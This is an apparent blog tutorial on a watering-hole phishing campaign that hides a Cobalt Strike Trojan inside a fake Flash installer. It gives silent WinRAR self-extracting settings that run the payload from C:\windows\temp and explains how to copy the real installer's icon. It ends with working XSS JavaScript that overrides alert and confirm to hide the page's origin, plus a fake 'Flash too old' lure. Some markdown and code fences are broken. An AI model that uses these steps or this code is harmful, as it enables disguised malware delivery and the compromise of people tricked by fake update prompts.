Flash Watering-Hole Phishing

Flash Watering-Hole Phishing

• • Background
  • Preparation
  • First, Configure a Payload
  • Using a Self-Extracting Bundled File
  • • Upload to the Server
  • Common Usage

Background

I saw many experts online using this for phishing, and the success rate seemed extremely high.
It is better to be prepared, so I decided to test it first. It will definitely come in handy later.

Preparation

Phishing source code for the official Flash website: https://github.com/r00tSe7en/Fake-flash.cn
A server
A domain name
A payload

First, Configure a Payload

• Use the commonly used Cobalt Strike. Generate any payload and confirm that it successfully connects back.
  
• I will skip antivirus evasion for now (because I am not good at it).
• Using a good concealment method is recommended.

Using a Self-Extracting Bundled File

I ran into a problem when bundling the Trojan: most bundling tools are themselves detected and blocked by antivirus software. Therefore, I chose to use WinRAR to create the bundle.

1. Prepare the Trojan and the Flash installer.

2. Right-click and select “Add to archive.”

点击创建自解压格式压缩文件
![Insert image description here](/images/20200206110906864.png 4. Click “Advanced SFX options” —————–– “General”
```c 使用绝对路径 ––––––– C:\windows\temp

 4.     Setup --------- Run after extraction```c
C:\windows\temp\flash.exe

C:\windows\temp\flashplayer_install_cn.exe
```![在这里插入图片描述](/images/20200206111434557.png)

5.  Silent mode --------- Hide all

![在这里插入图片描述](/images/2020020611150857.png)

 6.     Update```go
更新方式----解压并更新文件

覆盖方式----覆盖所有文件
```![在这里插入图片描述](/images/20200206111745780.png)

7.  Click “OK,” then rename the file to make it look more convincing.  
    ![在这里插入图片描述](/images/20200206114209174.png)
8.  The icon does not look right either, so it needs to be changed.  
    ![在这里插入图片描述](/images/2020020611432490.png)
9.  Use Resource Hacker to change the icon. Download it yourself.
10.  Open the original Flash installer with Resource Hacker, click the file in the Icon Group folder, right-click, and save the “\*.ico resource” to export the ICO icon.  
    ![在这里插入图片描述](/images/20200206115037810.png)
11.  Use the same method: open the file that was just packaged with Resource Hacker, click the file in the Icon Group folder, right-click to replace the ICO icon, and finally save it.

![Insert image description here](/images/20200206115439272.png 
![Insert image description here](/images/20200206115637855.png 
The file was saved successfully, and the icon is now finished.![图标搞定](/images/2020020611570775.png)

- The bundled Trojan is now complete. Below is a screenshot of it running. The disguise is perfect, and the entire process is imperceptible. However, the Trojan has not been configured for antivirus evasion, so antivirus software will flag it.
- ![在这里插入图片描述](/images/20200206115918874.png)
- It can also connect back successfully.![在这里插入图片描述](/images/20200206120000983.png)
- The payload is complete.

### Upload to the Server

Start a service according to your own circumstances. I simply installed Apache.  
![Insert image description here](/images/20200206152501383.png 
Modify the fake website’s source code and add the link.

![Insert image description here](/images/20200206153316957.png 
Upload it to the server and check the result.

![Insert image description here](/images/20200206155353255.png 
It looks acceptable, but the domain name still needs to be made more convincing. Buying a good domain name would be preferable.

## Common Usage

Simply giving someone the URL and asking them to download it is unlikely to work. I think it still needs to be injected through XSS. Displaying a prompt offers the greatest chance of getting the target to take the bait, and this is also one of the methods commonly used by everyone.  
However, there is one problem: it must not be obvious that it is a pop-up. Ideally, the website display can be hidden.```java
//重写alert方法，去掉地址显示
window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}

//重写confirm方法，去掉地址显示
window.confirm = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);
var result = window.frames[0].window.confirm(name);
iframe.parentNode.removeChild(iframe);
return result;
}
  
```![在这里插入图片描述](/images/20200206162156507.png)```java
window.alert = function(name){var iframe = document.createElement("IFRAME");iframe.style.display="none";iframe.setAttribute("src", 'data:text/plain,');document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);};alert("您的FLASH版本过低，请尝试升级后访问改页面!");window.location.href="https://www.baidu.com";

You can create a module directly on the XSS platform and then deploy it through XSS; otherwise, the code would be too long.